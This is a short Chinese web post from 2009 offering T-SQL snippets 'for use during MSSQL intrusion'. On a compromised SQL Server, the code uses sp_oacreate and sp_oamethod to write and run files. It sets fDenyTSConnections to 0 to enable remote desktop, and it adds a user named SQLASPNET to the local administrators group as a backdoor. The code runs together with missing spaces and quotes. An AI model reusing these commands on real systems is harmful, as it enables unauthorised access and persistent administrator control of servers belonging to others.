一些MSSQL入侵时可以用到的代码

2009-2-9 06:41 788 0

摘要: 作者：leyou123 --写个修改注册表的文件declare @o int,@f int,@t int,@ret intexec sp_oacreate scri...

关键词： oamethod WINDOWS int Config oacreate filesystemobject createtextfile declare outexec intexec

作者：leyou123 --写个修改注册表的文件declare @o int,@f int,@t int,@ret intexec sp_oacreate scripting.filesystemobject,@o outexec sp_oamethod @o,createtextfile,@f out,C:\WINDOWS\Config\wfo.reg,1exec @ret=sp_oamethod @f,writeline,NULL,Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]"fDenyTSConnections"=dword:00000000 --到入declare @oq int,@fq int,@tq int,@retq intexec sp_oacreate scripting.filesystemobject,@oq outexec sp_oamethod @oq,createtextfile,@fq out,C:\WINDOWS\Config\wfo.bat,1exec @ret=sp_oamethod @fq,writeline,NULL,regedit /s C:\WINDOWS\Config\wfo.reg --加用户名 declare @o int,@f int,@t int,@ret intexec sp_oacreate scripting.filesystemobject,@o outexec sp_oamethod @o,createtextfile,@f out,C:\WINDOWS\Config\wfou.bat,1exec @ret=sp_oamethod @f,writeline,NULL,net user SQLASPNET /addnet localgroup administrators SQLASPNET /add declare @o intexec sp_oacreate wscript.shell,@o outexec sp_oamethod @o,run,NULL,C:\WINDOWS\Config\wfou.bat--

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除